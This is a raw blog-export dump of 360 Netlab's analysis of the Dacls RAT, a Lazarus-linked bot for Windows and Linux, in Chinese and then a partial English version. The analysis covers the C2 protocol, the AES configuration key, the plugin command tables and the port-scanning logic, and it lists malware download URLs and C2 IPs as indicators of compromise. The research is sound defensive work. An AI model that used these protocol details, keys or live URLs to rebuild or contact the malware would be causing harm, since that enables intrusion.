Group，并引⽤了⼀篇报告《CES Themed Targeting from Lazarus》。然后，我们通过这个下载地址我们关联到另⼀个NukeSped样本```b578ccf307d55d3267f98349e20ecff1```，它的下载地址为```http://thevagabondsatchel.com/wp-content/uploads/2019/09/public.avi```。在2019年10⽉份，这个NukeSped样本```b578ccf307d55d3267f98349e20ecff1```曾被推特⽤户@cyberwar_15标记为Lazarus Group。\n\n另外，我们也在Google上搜到到很多Lazarus Group的分析报告和⼀些开源威胁情报数据，并指出```thevagabondsatchel.com```曾被Lazarus Group⽤于存放样本。\n\n所以，我们推测Dacls RAT的幕后攻击者是Lazarus Group。\n\n<a href=\"__GHOST_URL__/content/images/2019/12/dacls_graph.png\"><img src=\"__GHOST_URL__/content/images/2019/12/dacls_graph.png\" class=\"kg-image\"/></a>\n\n### Downloader服务器\n我们在疑似被感染的下载服务器```http://www.areac-agr.com/cms/wp-content/uploads/2015/12/```上找到了一系列样本，其中包括Win32.Dacls和Linux.Dacls，开源程序Socat，以及Confluence CVE-2019-3396 Payload。所以，我们推测Lazarus Group曾经利用CVE-2019-3396 N-day漏洞传播Dacls Bot程序。\n\n```c\nMD5 (check.vm) = a99b7ef095f44cf35453465c64f0c70c //Confluence CVE-2019-3396 Payload\nMD5 (hdata.dat) = 982bf527b9fe16205fea606d1beed7fa //Log Collector\nMD5 (ldata.dat) = 80c0efb9e129f7f9b05a783df6959812 //Linux Dacls Bot\nMD5 (mdata.dat) = 80c0efb9e129f7f9b05a783df6959812 //Linux Dacls Bot\nMD5 (r.vm) = a99b7ef095f44cf35453465c64f0c70c //Confluence CVE-2019-3396 Payload\nMD5 (rdata.dat) = bea49839390e4f1eb3cb38d0fcaf897e //Windows Dacls Bot\nMD5 (sdata.dat) = e883bf5fd22eb6237eb84d80bbcf2ac9 //Open-Source Socat\n```\n\n## 逆向分析\n### Log Collector样本分析\n- MD5: 982bf527b9fe16205fea606d1beed7fa\n> ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section header\n\n这个样本的功能很简单，它通过运行参数指定日志搜集接口然后收集目标主机信息。它会避开扫描一些指定的根目录和二级目录，并把检索到的文件路径写入 /tmp/hdv.log。\n```c\nAvoid Scanning Root Directory\n/bin\n/boot\n/dev\n/etc\n/lib\n/lib32\n/lib64\n/lost+found\n/sbin\n/sys\n/tmp\n/proc\n/run\n\nAvoid Scanning Secondary Directory\n/usr/bin\n/usr/etc\n/usr/games\n/usr/include\n/usr/lib\n/usr/lib32\n/usr/lib64\n/usr/libexec\n/usr/sbin\n/usr/share\n/usr/src\n/usr/tmp\n/var/adm\n/var/cache\n/var/crash\n/var/db\n/var/empty\n/var/games\n/var/gopher\n/var/kerberos\n/var/lock\n/var/nis\n/var/preserve\n/var/run\n/var/yp\n```\n\n日志记录格式示例\n```c\ndeep name type size last date\n0 / D 0 000000000000\n1 bin D 0 201911290628\n2 bash F 1037528 201907121226\n2 bunzip2 F 31352 201907040536\n2 busybox F 1984584 201903070712\n2 bzcat F 31352 201907040536\n2 bzcmp F 2140 201907040536\n....\n```\n\n最后通过执行系统tar命令把日志文件压缩```tar -cvzf /tmp/hdv.rm /tmp/hdv.log``` 并上传到指定日志搜集接口。\n\n### Linux.Dacls样本分析\n- MD5: 80c0efb9e129f7f9b05a783df6959812\n> ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=e14724498374cb9b80a77b7bfeb1d1bd342ee139, stripped\n\nLinux.Dacls Bot主要功能包括：执行命令，文件管理，进程管理，测试网络访问，C2连接代理，网络扫描模块。\n\n#### 初始化行为\nLinux.Dacls Bot启动后以daemon方式后台运行，并通过启动参数```/pro```，Bot PID文件```/var/run/init.pid```和Bot进程名```/proc/<pid>/cmdline```，来区分不同运行环境，我们猜测可能是用于Bot程序升级。\n<a href=\"__GHOST_URL__/content/images/2019/12/init_stage.png\"><img src=\"__GHOST_URL__/content/images/2019/12/init_stage.png\" class=\"kg-image\"/></a>\n\n\n#### 配置文件 .memcahce\nLinux.Dacls Bot配置文件固定存放在```$HOME/.memcache```，文件内容固定为0x8E20+4个字节。如果Bot启动后找不到配置文件，就会根据样本中硬编码的信息，使用AES加密生成默认的配置文件，当Bot和C2 通信后还会继续更新配置文件。\n\n###### 数据结构\n我们把配置文件的数据结构信息定义为struct_global_cfg，这里存放了Bot运行参数，C2信息，和插件信息等。\n```c\nstruct struct_plugin_cfg_data\n{\n int plugin_id;\n int plugin_type;\n int unk3;\n char name[1040];\n};\n\nstruct struct_c2_content\n{\n char content[2048];\n};\n\nstruct struct_global_cfg\n{\n int session_id;\n int unk_const1;\n int sus_version_20190417;\n int connect_retry_sleep_time;\n char unk_array1[88];\n int c2_num;\n struct_c2_content c2_list[3];\n char unknown_filed_186C[14340];\n struct_plugin_cfg_data plug_cfg_data_list[15];\n};\n\n```\n###### AES 加密算法\n- AES，CBC Mode\n- Key：A0 D2 89 29 27 78 75 F6 AA 78 C7 98 39 A0 05 ED\n- IV：39 18 82 62 33 EA 18 BB 18 30 78 97 A9 E1 8A 92\n\n###### 解密配置文件 \n我们把配置文件解密后，可以看到配置文件中一些明文信息，例如：会话ID，版本信息，重新连接C2时间，C2信息等，当成功连接C2后配置文件会根据C2指令更新，比如在配置文件中增加Bot支持的插件信息，更新C2信息等。\n<a href=\"__GHOST_URL__/content/images/2019/12/memcache_decrypt.png\"><img src=\"__GHOST_URL__/content/images/2019/12/memcache_decrypt.png\" class=\"kg-image\"/></a>\n\n\n\n#### C2 协议\nLinux.Dacls Bot和C2通信主要分为3个阶段，并采用了TLS和RC4双层加密算法，保障数据通信安全。第1阶段是建立TLS连接，第2阶段是双方协议认证过程（Malware Beaconing），第3阶段是Bot发送RC4加密后的数据。\n###### SSL 连接\n<a href=\"__GHOST_URL__/content/images/2019/12/tls_connection.png\"><img src=\"__GHOST_URL__/content/images/2019/12/tls_connection.png\" class=\"kg-image\"/></a>\n\n###### 协议认证\n建立SSL连接会发送若干次Beacon消息和C2互相确认身份。\n| Cmd | Direction | Encrypted | Description|\n| ----- | ------------------ | ------------ |:----------: |\n|0x20000 | send | no | Beacon|\n|0x20100 | recv | no |Beacon|\n|0x20200 | send | no | Beacon|\n\n###### RC4 加密和解密流程\n- RC4 Key生成算法，完全由随机函数生成，Key长度范围：大于0且小于50\n<a href=\"__GHOST_URL__/content/images/2019/12/rc4_key.png\"><img src=\"__GHOST_URL__/content/images/2019/12/rc4_key.png\" class=\"kg-image\"/></a>\n\n\n- 置换表生成算法，根据RC4 Key生成RC4加密用的置换表\n<a href=\"__GHOST_URL__/content/images/2019/12/rc4_swap.png\"><img src=\"__GHOST_URL__/content/images/2019/12/rc4_swap.png\" class=\"kg-image\"/></a>\n\n\n- 加/解密算法，根据置换表生成算法完成加/解密，因为RC4是个对称加密算法，所以加/解密算法是一致的\n<a href=\"__GHOST_URL__/content/images/2019/12/rc4_decrypt.png\"><img src=\"__GHOST_URL__/content/images/2019/12/rc4_decrypt.png\" class=\"kg-image\"/></a>\n\n\n- RC4解密示例\n \n 在完成协议认证之后，Bot向C2发送RC4 Key长度（头4个字节）和 RC4 Key数据。\n <a href=\"__GHOST_URL__/content/images/2019/12/rc4_connection.png\"><img src=\"__GHOST_URL__/content/images/2019/12/rc4_connection.png\" class=\"kg-image\"/></a>\n\n\nC2收到加密Key，向Bot发送密文，解密后为0x00000700指令，之后Bot就会上传主机名相关信息给C2。\n\n```c\nKey:\na3 2f c2 10 f3 92 79 c3 0e f6 e4 e5 2e 69 29 86\n0d 3a 92 f5 b7 23 fc 91 d9 46 91 55 a3 86 5a 47\n36 1d 58 2a af d1 6d 3d 49 52 23 77 bc 4d fd 49\n87 \n\n密文:\nfe 3c 2c d7 bf 08 e3 91 d7 00 1f d0\n\n明文:\n00 07 00 00 00 00 00 00 00 00 00 00 \n```\n###### C2指令码表\nLinux.Dacls Bot接受的指令实际共12个字节，但实际有效大小为4个字节，并分成控制两种模式。\n\n第一种模式：当第3个字节为0，控制Bot主逻辑。\n\n以下是0x00000700指令对应的网络序数据包示例：模式为0x00，指令2为0x07控制Bot上传主机名信息\n\n| 指令1 | 指令2 | 模式 | 未知 |\n|------ | ------ | ------ | ------|\n| 00 | 07 |00 |00 |\n\n第二种模式：当第3个字节为1，控制加载插件逻辑。\n\n以下是0x00010101指令对应的网络序数据包示例：模式为0x01，指令1为0x01控制加载编号为1的插件\n\n| 指令1 | 指令2 | 模式 | 未知 |\n|------ | ------ | ------ | ------|\n| 01 | 01 |01 |00 |\n\nBot收到指令后，执行成功返回0x20500，执行失败返回0x20600。\n\n\n- C2指令表，Bot主逻辑部分\n\n| Module | Cmd | Encrypt | Description |\n| ------ | ---------- | ------- | ---------------------------------------- |\n| Core | 0x00000601 | Yes | 上传C2配置信息 |\n| Core | 0x00000602 | Yes | 下载配置信息保存到 ```$HOME/.memcache``` |\n| Core | 0x00000700 | Yes | 要求Bot上传主机信息 |\n| Core | 0x00000900 | Yes | 要求Bot发送心跳信息 |\n\n- C2指令表，Bot插件部分\n\n| Module | Cmd | Encrypt | Description |\n| :----------------: | ---------- | ------- | ---------------------------------- |\n| /bin/bash | 0x00010000 | Yes | 执行C2下发的bash命令 |\n| /bin/bash | 0x00010002 | Yes | 连接到指定的C2执行下发的系统命令 |\n| plugin_file | 0x00010100 | Yes | 写文件 |\n| plugin_file | 0x00010101 | Yes | 读文件 |\n| plugin_file | 0x00010103 | Yes | 删除文件 |\n| plugin_file | 0x00010104 | Yes | 扫描目录结构 |\n| plugin_file | 0x00010110 | Yes | 从指定url下载文件 |\n| plugin_process | 0x00010200 | Yes | 扫描并上传主机进程相关信息 |\n| plugin_process | 0x00010201 | Yes | 杀死指定进程 |\n| plugin_process | 0x00010202 | Yes | 创建daemon进程 |\n| plugin_process | 0x00010204 | Yes | 获得并上报进程PID和PPID |\n| plugin_test | 0x00010300 | Yes | 测试是否可以访问指定IP |\n| plugin_reverse_p2p | 0x00010400 | Yes | C2连接代理 |\n| logsend | 0x00011100 | Yes | 测试是否可以访问Log服务器 |\n| logsend | 0x00011101 | Yes | 上传公网端口扫描结果和命令执行输出 |\n| logsend | 0x00011102 | Yes | 无操作 |\n\n- C2通信流程图\n <a href=\"__GHOST_URL__/content/images/2019/12/c2_connection.png\"><img src=\"__GHOST_URL__/content/images/2019/12/c2_connection.png\" class=\"kg-image\"/></a>\n\n\n\n#### 插件模块\nLinux.Dacls Bot采用静态编译的方式将插件和Bot本体代码编译在一起，通过发送不同的指令调用不同的插件可以完成多种任务。我们分析的样本中共包含6个插件，由于插件的配置信息是一块连续的结构体数组(0x00~0x0e)。我们猜测Bot可能存在更多的插件。\n<a href=\"__GHOST_URL__/content/images/2019/12/plugin_num.png\"><img src=\"__GHOST_URL__/content/images/2019/12/plugin_num.png\" class=\"kg-image\"/></a>\n\n\n每个插件都会有相应的配置信息，它们会保存在Bot的配置文件```$HOME/.memcache```中，在插件初始化时，加载这些配置信息。\n\n###### Bash 插件\nBash插件是编号为0的插件，主要支持两个功能：接收C2服务器的下发的系统命令并执行；C2通过指令下发临时C2，Bot然后连接到临时C2并执行临时C2下发的系统命令。\n<a href=\"__GHOST_URL__/content/images/2019/12/bash.png\"><img src=\"__GHOST_URL__/content/images/2019/12/bash.png\" class=\"kg-image\"/></a>\n\n\n###### File 插件\nFile插件主要功能是文件管理，除了支持对文件的读，写，删除，查找操作，还可以从指定的下载服务器下载文件。\n<a href=\"__GHOST_URL__/content/images/2019/12/file.png\"><img src=\"__GHOST_URL__/content/images/2019/12/file.png\" class=\"kg-image\"/></a>\n\n\n\n###### Process 插件\nProcess插件的主要功能是进程管理，包括：杀死指定进程，创建daemon进程，获得当前进程的PID和PPID，以及获取进程列表信息。\n<a href=\"__GHOST_URL__/content/images/2019/12/process.png\"><img src=\"__GHOST_URL__/content/images/2019/12/process.png\" class=\"kg-image\"/></a>\n\n如果Linux进程中的PID对应的```/proc/<pid>/task```目录存在，Bot样本会收集如下进程信息：\n\n- 从```/proc/<pid>/cmdline```读取命令行全名\n- 从```/proc/<pid>/status```中读取:\n```\nName //进程名\nUid //用户ID\nGid //用户组ID\nPPid //父进程ID\n```\n\n\n###### Test插件\nTest插件的主要功能是通过连接C2指定的IP地址和端口，测试其网络连通性。\n<a href=\"__GHOST_URL__/content/images/2019/12/test.png\"><img src=\"__GHOST_URL__/content/images/2019/12/test.png\" class=\"kg-image\"/></a>\n\n\n###### Reverse P2P插件\nReverse P2P插件实际上是一种C2连接代理（Connection Proxy），它通过下发控制命令可以将指定的C2数据完整的转发到指定IP端口。这在Lazarus Group中是一种常见的降低被检测风险的技术手段，既可以减少目标主机连接数又可以隐藏目标主机和真实C2的通信数据，在某些场合还可以利用被感染的内网主机进一步渗透至隔离网段。\n\nreverse_p2p插件初始化\n<a href=\"__GHOST_URL__/content/images/2019/12/reverse_p2p_init-1.png\"><img src=\"__GHOST_URL__/content/images/2019/12/reverse_p2p_init-1.png\" class=\"kg-image\"/></a>\n\n\n当Bot收到指令后，先尝试连接指定的C2端口并发送0x21000指令，如果C2返回0x21300说明C2连接成功。此时Bot会连接指令中指定的目标主机端口，如果连接成功会返回0x21100给C2说明转发连接已经建立可以转发数据。接下来Bot会将C2发送过来的数据完整的转发给目标主机，同时将目标主机的返回数据完整的返回给C2，直至任何一方中断连接。\n以下是Reverse P2P插件工作流程图：\n<a href=\"__GHOST_URL__/content/images/2019/12/reverse_p2p.png\"><img src=\"__GHOST_URL__/content/images/2019/12/reverse_p2p.png\" class=\"kg-image\"/></a>\n\n\n###### LogSend 插件\nLogSend插件主要包括3个功能：测试连接Log服务器，随机扫描全网8291端口并上报给Log服务器，执行耗时较长的系统命令并将控制台输出结果实时上报给Log服务器。\n\nLogSend插件初始化\n<a href=\"__GHOST_URL__/content/images/2019/12/logsend_init.png\"><img src=\"__GHOST_URL__/content/images/2019/12/logsend_init.png\" class=\"kg-image\"/></a>\n\n\nLogSend相关操作回调函数\n<a href=\"__GHOST_URL__/content/images/2019/12/logsend.png\"><img src=\"__GHOST_URL__/content/images/2019/12/logsend.png\" class=\"kg-image\"/></a>\n\n\n测试连接Log服务器\nBot收到指令后会向Log服务器发送一个测试请求。如果Log服务器返回```{\"result\":\"ok\"}```说明测试成功，此时C2就可以下发更多的LogSend指令。\n\n使用C2指定的HTTP接口地址，内置的User-Agent，发送POST请求\n```\nPOST /%s HTTP/1.0\nHost: %s\nContent-Length: 9\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-us,en;q=0.5\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nCache-Control: no-cache\nConnection: close\nlog=check\n```\n随机扫描全网8291端口并上报给Log服务器。\n\n当Bot收到该指令后会按照3种规则随机生成公网IP地址并尝试连接8291端口，如果连接成功就向log server回传扫描结果。\nIP生成规则：\n```\nip = <part1>.<part2>.<part3>.<part4>\n\nrule1: part1 != 127\nrule2: part1 == 172 and (part2 <= 15 or part2 > 31)\nrule3: part1 != 192 and part2 != 168\nrule4: part1 != 10\n```\n随机IP生成算法如下\n<a href=\"__GHOST_URL__/content/images/2019/12/random_ip-1.png\"><img src=\"__GHOST_URL__/content/images/2019/12/random_ip-1.png\" class=\"kg-image\"/></a>\n\n我们可以看到Bot硬编码TCP/8291端口，并调用系统connect函数进行端口扫描，只检测端口是否开放，不发送Payload数据。我们知道MikroTik Router设备的Winbox协议工作在TCP/8291端口上，并暴露在互联网上，之前我们也披露了2篇文章关于TCP/8291端口威胁事件[\\[1\\]](__GHOST_URL__/7500-mikrotik-routers-are-forwarding-owners-traffic-to-the-attackers-how-is-yours-en/)[\\[2\\]](__GHOST_URL__/quick-summary-port-8291-scan-en/)。\n<a href=\"__GHOST_URL__/content/images/2019/12/scan_8291.png\"><img src=\"__GHOST_URL__/content/images/2019/12/scan_8291.png\" class=\"kg-image\"/></a>\n\n执行耗时较长的bash命令，并将控制台输出实时上报给Log服务器。\n<a href=\"__GHOST_URL__/content/images/2019/12/logsend_bash.png\"><img src=\"__GHOST_URL__/content/images/2019/12/logsend_bash.png\" class=\"kg-image\"/></a>\n\n执行bash命令并转发输出给Log服务器\n所有上报的Log数据都以HTTP POST的方式提交。Payload部分的格式如下：\n\n```log=save&session_id=<session id>&value=<log content>```\n<a href=\"__GHOST_URL__/content/images/2019/12/logsend_payload.png\"><img src=\"__GHOST_URL__/content/images/2019/12/logsend_payload.png\" class=\"kg-image\"/></a>\n\n\n### 处置建议\n我们建议Confluence用户及时更新补丁，并根据Dacls RAT创建的进程，文件名以及TCP网络连接特征，判断是否被感染，然后清理它的相关进程和文件。\n\n我们建议读者对Dacls RAT相关IP，URL和域名进行监控和封锁。\n\n相关安全和执法机构，可以邮件联系netlab[at]360.cn交流更多信息。\n\n\n\n\n### 联系我们\n\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者在微信公众号 **360Netlab** 上联系我们。\n\n\n\n\n#### IoC list\n样本MD5\n```\n6de65fc57a4428ad7e262e980a7f6cc7\n80c0efb9e129f7f9b05a783df6959812\n982bf527b9fe16205fea606d1beed7fa\n8910bdaaa6d3d40e9f60523d3a34f914\na99b7ef095f44cf35453465c64f0c70c\nbea49839390e4f1eb3cb38d0fcaf897e\ncef99063e85af8b065de0ffa9d26cb03\ne883bf5fd22eb6237eb84d80bbcf2ac9\n```\n\n硬编码C2 IP：\n```\n23.81.246.179 \tUnited States \tASN19148 \tLeaseweb USA, Inc. \n23.254.119.12 \tCanada \tASN55286 \tB2 Net Solutions Inc.\n23.227.196.116 \tUnited States \tASN35017 \tSwiftway Sp. z o.o. \n37.72.175.179 \tUnited States \tASN29802 \tHIVELOCITY, Inc. \n23.227.199.53 \tUnited States \tASN35017 \tSwiftway Sp. z o.o. \n107.172.197.175 \tUnited States \tASN36352 \tColoCrossing \n172.93.201.219 \tUnited States \tASN20278 \tNexeon Technologies, Inc.\n64.188.19.117 \tUnited States \tASN8100 \tQuadraNet Enterprises LLC\n74.121.190.121 \tUnited States \tASN23033 \tWowrack.com \n192.210.213.178 \tUnited States \tASN36352 \tColoCrossing \n209.90.234.34 \tUnited States \tASN23033 \tWowrack.com \n198.180.198.6 \tUnited States \tASN26658 \tHT \n```\n\nURL\n```\nhttp://www.areac-agr.com/cms/wp-content/uploads/2015/12/check.vm\nhttp://www.areac-agr.com/cms/wp-content/uploads/2015/12/hdata.dat\nhttp://www.areac-agr.com/cms/wp-content/uploads/2015/12/ldata.dat\nhttp://www.areac-agr.com/cms/wp-content/uploads/2015/12/mdata.dat\nhttp://www.areac-agr.com/cms/wp-content/uploads/2015/12/r.vm\nhttp://www.areac-agr.com/cms/wp-content/uploads/2015/12/rdata.dat\nhttp://www.areac-agr.com/cms/wp-content/uploads/2015/12/sdata.dat\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5df75a187646030007b25ec3 |
post | null | 2019-12-16T10:19:56.000Z | 63873b9a8b1c1e0007f52f5d | dacls-the-dual-platform-rat-en | 0 | 2022-02-09T07:10:09.000Z | public | published | null | 2019-12-17T12:00:00.000Z | Dacls, the Dual platform RAT | <!--kg-card-begin: markdown--><h2 id="background">Background</h2>
<p>On October 25, 2019, a suspicious ELF file (80c0efb9e129f7f9b05a783df6959812) was flagged by our new threat monitoring system. At first glance, it seems to be just another one of the regular botnets, but we soon realized this is something with potential link to the Lazarus Group.</p>
<p>At present, the industry has never disclosed the Lazarus Group's attack samples and cases against the Linux platform. And our analysis shows that this is a fully functional, covert and RAT program targeting both Windows and Linux platforms, and the samples share some key characters being used by Lazarus Group.</p>
<h3 id="thelinksbetweenlazarusgroupanddaclsrat">The links between Lazarus Group and Dacls RAT</h3>
<p>First, we searched VT for the hardcoded string <code>c_2910.cls</code> and <code>k_3872.cls</code> in the sample and found 5 more samples. We can confirm from their sample and C2 instruction codes that they are the same RAT family, and is suitable for Windows and Linux platforms, respectively.</p>
<p>One of the 5 samples <code>6de65fc57a4428ad7e262e980a7f6cc7</code> was pointed to as Lazarus Group by the user Raeezabdulla of the VirusTotal community, and cited a report "CES Themed Targeting from Lazarus". This sample also has download address of <code>https://thevagabondsatchel.com/wp-content/uploads/2019/03/wm64.avi</code>. In October 2019, a sample named NukeSped was tagged by Twitter user @cyberwar_15 as Lazarus Group. And that sample file <code>b578ccf307d55d3267f98349e20ecff1</code> has the download url as <code>http://thevagabondsatchel.com/wp-content/uploads/2019/09/public.avi</code></p>
<p>A quick google returns many Lazarus Group analysis reports and some open source threat intelligence data, many pointing out that thevagabondsatchel.com was used by Lazarus Group to store samples.</p>
<p>Therefore, we speculate that the attacker behind Dacls RAT is Lazarus Group.<br>
<a href="__GHOST_URL__/content/images/2019/12/dacls_graph.png"><img src="__GHOST_URL__/content/images/2019/12/dacls_graph.png" class="kg-image"/></a></p>
<p>Currently this sample is shown on VirusTotal with 26 pretty generic malware tag from by 26 antivirus vendors with no relevant analysis report. Therefore, we think it is necessary to disclose some of its technical detail here.</p>
<p>We name it Dacls (Win32.Dacls and Linux.Dacls) based on its file name and hard-coded strings.</p>
<h2 id="daclsoverview">Dacls overview</h2>
<p>Dacls is a new type of remote-control software targeting both Windows and Linux environment. Its functions are modular, the C2 protocol uses TLS and RC4 double-layer encryption, the configuration file uses AES encryption and supports C2 instruction dynamic update. The Win32.Dacls plug-in module is dynamically loaded through a remote URL, and the Linux version of the plug-in is compiled directly in the Bot program.</p>
<h3 id="downloaderserver">Downloader server</h3>
<p>We found a series of samples on a suspected download server <code>http://www.areac-agr.com/cms/wp-content/uploads/2015/12/</code>, including Win32.Dacls, Linux.Dacls, the open source program Socat, and working payload for Confluence CVE-2019-3396. We speculated that the Lazarus Group used the CVE-2019-3396 N-day vulnerability to spread the Dacls Bot program.</p>
<pre><code class="language-c">MD5 (check.vm) = a99b7ef095f44cf35453465c64f0c70c //Confluence CVE-2019-3396 Payload
MD5 (hdata.dat) = 982bf527b9fe16205fea606d1beed7fa //Log Collector
MD5 (ldata.dat) = 80c0efb9e129f7f9b05a783df6959812 //Linux Dacls Bot
MD5 (mdata.dat) = 80c0efb9e129f7f9b05a783df6959812 //Linux Dacls Bot
MD5 (r.vm) = a99b7ef095f44cf35453465c64f0c70c //Confluence CVE-2019-3396 Payload
MD5 (rdata.dat) = bea49839390e4f1eb3cb38d0fcaf897e //Windows Dacls Bot
MD5 (sdata.dat) = e883bf5fd22eb6237eb84d80bbcf2ac9 //Open-Source Socat
</code></pre>
<h2 id="reverseanalysis">Reverse analysis</h2>
<h3 id="logcollectorsample">Log Collector sample</h3>
<ul>
<li>MD5: 982bf527b9fe16205fea606d1beed7fa</li>
</ul>
<blockquote>
<p>ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section header</p>
</blockquote>
<p>The function of this sample is simple. It collects the target host information by specifying the parameters of the log collecting process. It avoids scanning some specified root and secondary directories, and write the retrieved file path to <code>/tmp/hdv.log</code>.</p>
<pre><code class="language-c">Avoid Scanning Root Directory
/bin
/boot
/dev
/etc
/lib
/lib32
/lib64
/lost+found
/sbin
/sys
/tmp
/proc
/run
Avoid Scanning Secondary Directory
/usr/bin
/usr/etc
/usr/games
/usr/include
/usr/lib
/usr/lib32
/usr/lib64
/usr/libexec
/usr/sbin
/usr/share
/usr/src
/usr/tmp
/var/adm
/var/cache
/var/crash
/var/db
/var/empty
/var/games
/var/gopher
/var/kerberos
/var/lock
/var/nis
/var/preserve
/var/run
/var/yp
</code></pre>
<p>Sample logging format</p>
<pre><code class="language-c">deep name type size last date
0 / D 0 000000000000
1 bin D 0 201911290628
2 bash F 1037528 201907121226
2 bunzip2 F 31352 201907040536
2 busybox F 1984584 201903070712
2 bzcat F 31352 201907040536
2 bzcmp F 2140 201907040536
....
</code></pre>
<p>When all the work is done, it executes the system tar command to compress the log file <code>tar -cvzf /tmp/hdv.rm /tmp/hdv.log</code> and upload it to the specified log collecting interface.</p>
<h3 id="linuxdaclssample">Linux.Dacls sample</h3>
<ul>
<li>MD5: 80c0efb9e129f7f9b05a783df6959812</li>
</ul>
<blockquote>
<p>ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=e14724498374cb9b80a77b7bfeb1d1bd342ee139, stripped</p>
</blockquote>
<p>The main functions of Linux.Dacls Bot include: command execution, file management, process management, test network access, C2 connection agent, network scanning module.</p>
<h4 id="initialization">Initialization</h4>
<p>After Linux.Dacls Bot is started, it runs in the daemon mode in the background, and uses the startup parameters <code>/pro</code>, the Bot PID file, <code>/var/run/init.pid</code> and the Bot process name <code>/proc/<pid>/cmdline</code>to distinguish different operating environments. We suspect that it may be used for Bot program upgrades.<br>
<a href="__GHOST_URL__/content/images/2019/12/init_stage.png"><img src="__GHOST_URL__/content/images/2019/12/init_stage.png" class="kg-image"/></a></p>
<h4 id="configurationfilememcahce">Configuration file .memcahce</h4>
<p>The Linux.Dacls Bot configuration file is stored at <code>$HOME/.memcache</code>, and the file content is 0x8E20 + 4 bytes. If Bot cannot find the configuration file after startup, it will use AES encryption to generate the default configuration file based on the hard-coded information in the sample. After successful Bot communicates with C2, the configuration file will get updated.</p>
<h6 id="datastructure">Data structure</h6>
<p>We define the data structure information of the configuration file as struct_global_cfg, which stores the Bot operating parameters, C2 information, and plug-in information.</p>
<pre><code class="language-c">struct struct_plugin_cfg_data
{
int plugin_id;
int plugin_type;
int unk3;
char name[1040];
};
struct struct_c2_content
{
char content[2048];
};
struct struct_global_cfg
{
int session_id;
int unk_const1;
int sus_version_20190417;
int connect_retry_sleep_time;
char unk_array1[88];
int c2_num;
struct_c2_content c2_list[3];
char unknown_filed_186C[14340];
struct_plugin_cfg_data plug_cfg_data_list[15];
};
</code></pre>
<h6 id="aesencryptionalgorithm">AES encryption algorithm</h6>
<ul>
<li>AES，CBC Mode</li>
<li>Key：A0 D2 89 29 27 78 75 F6 AA 78 C7 98 39 A0 05 ED</li>
<li>IV：39 18 82 62 33 EA 18 BB 18 30 78 97 A9 E1 8A 92</li>
</ul>
<h6 id="decryptingtheconfigurationfile">Decrypting the configuration file</h6>
<p>After decrypting the configuration file, we can see some plain text information in it, for example: session ID, version information, reconnection time for C2, C2 information, etc. After successfully connecting to C2, the configuration file will be updated according to received C2 instructions, such as adding new plugin information supported by the Bot, updated C2 information, etc.<br>
<a href="__GHOST_URL__/content/images/2019/12/memcache_decrypt.png"><img src="__GHOST_URL__/content/images/2019/12/memcache_decrypt.png" class="kg-image"/></a></p>
<h4 id="c2protocol">C2 protocol</h4>
<p>Linux.Dacls Bot and C2 communication is mainly divided into three stages, and uses TLS and RC4 double-layer encryption algorithms to ensure data communication security. The first phase is to establish a TLS connection, the second phase is to establish agreement for authentication process (Malware Beaconing), and the third phase is to send RC4 encrypted data by Bot.</p>
<h6 id="sslconnection">SSL connection</h6>
<p><a href="__GHOST_URL__/content/images/2019/12/tls_connection.png"><img src="__GHOST_URL__/content/images/2019/12/tls_connection.png" class="kg-image"/></a></p>
<h6 id="phase2">Phase 2</h6>
<p>Several Beacon messages and C2 confirm each other's identity are exchanged here.</p>
<table>
<thead>
<tr>
<th>Cmd</th>
<th>Direction</th>
<th>Encrypted</th>
<th style="text-align:center">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x20000</td>
<td>send</td>
<td>no</td>
<td style="text-align:center">Beacon</td>
</tr>
<tr>
<td>0x20100</td>
<td>recv</td>
<td>no</td>
<td style="text-align:center">Beacon</td>
</tr>
<tr>
<td>0x20200</td>
<td>send</td>
<td>no</td>
<td style="text-align:center">Beacon</td>
</tr>
</tbody>
</table>
<h6 id="rc4encryptionanddecryptionprocess">RC4 encryption and decryption process</h6>
<ul>
<li>
<p>RC4 Key generation algorithm, generated by random function, Key length range: greater than 0 and less than 50<br>
<a href="__GHOST_URL__/content/images/2019/12/rc4_key.png"><img src="__GHOST_URL__/content/images/2019/12/rc4_key.png" class="kg-image"/></a></p>
</li>
<li>
<p>Replacement table generation algorithm, generate replacement table for RC4 encryption based on RC4 Key<br>
<a href="__GHOST_URL__/content/images/2019/12/rc4_swap.png"><img src="__GHOST_URL__/content/images/2019/12/rc4_swap.png" class="kg-image"/></a></p>
</li>
<li>
<p>Encryption / decryption algorithm, complete encryption / decryption according to the replacement table generation algorithm. Because RC4 is a symmetric encryption algorithm, the encryption / decryption algorithm is consistent<br>
<a href="__GHOST_URL__/content/images/2019/12/rc4_decrypt.png"><img src="__GHOST_URL__/content/images/2019/12/rc4_decrypt.png" class="kg-image"/></a></p>
</li>
<li>
<p>RC4 decryption example<br>
After completing the protocol authentication, Bot sends the RC4 Key length (the first 4 bytes) and RC4 Key data to C2.<br>
<a href="__GHOST_URL__/content/images/2019/12/rc4_connection.png"><img src="__GHOST_URL__/content/images/2019/12/rc4_connection.png" class="kg-image"/></a></p>
</li>
</ul>
<p>C2 receives the encryption key and sends the ciphertext to Bot. After decryption, the command is 0x00000700. After that, Bot will upload the hostname-related information to C2.</p>
<pre><code class="language-c">Key:
a3 2f c2 10 f3 92 79 c3 0e f6 e4 e5 2e 69 29 86
0d 3a 92 f5 b7 23 fc 91 d9 46 91 55 a3 86 5a 47
36 1d 58 2a af d1 6d 3d 49 52 23 77 bc 4d fd 49
87
Ciphertext:
fe 3c 2c d7 bf 08 e3 91 d7 00 1f d0
Plaintext:
00 07 00 00 00 00 00 00 00 00 00 00
</code></pre>
<h6 id="c2instructioncodetable">C2 instruction code table</h6>
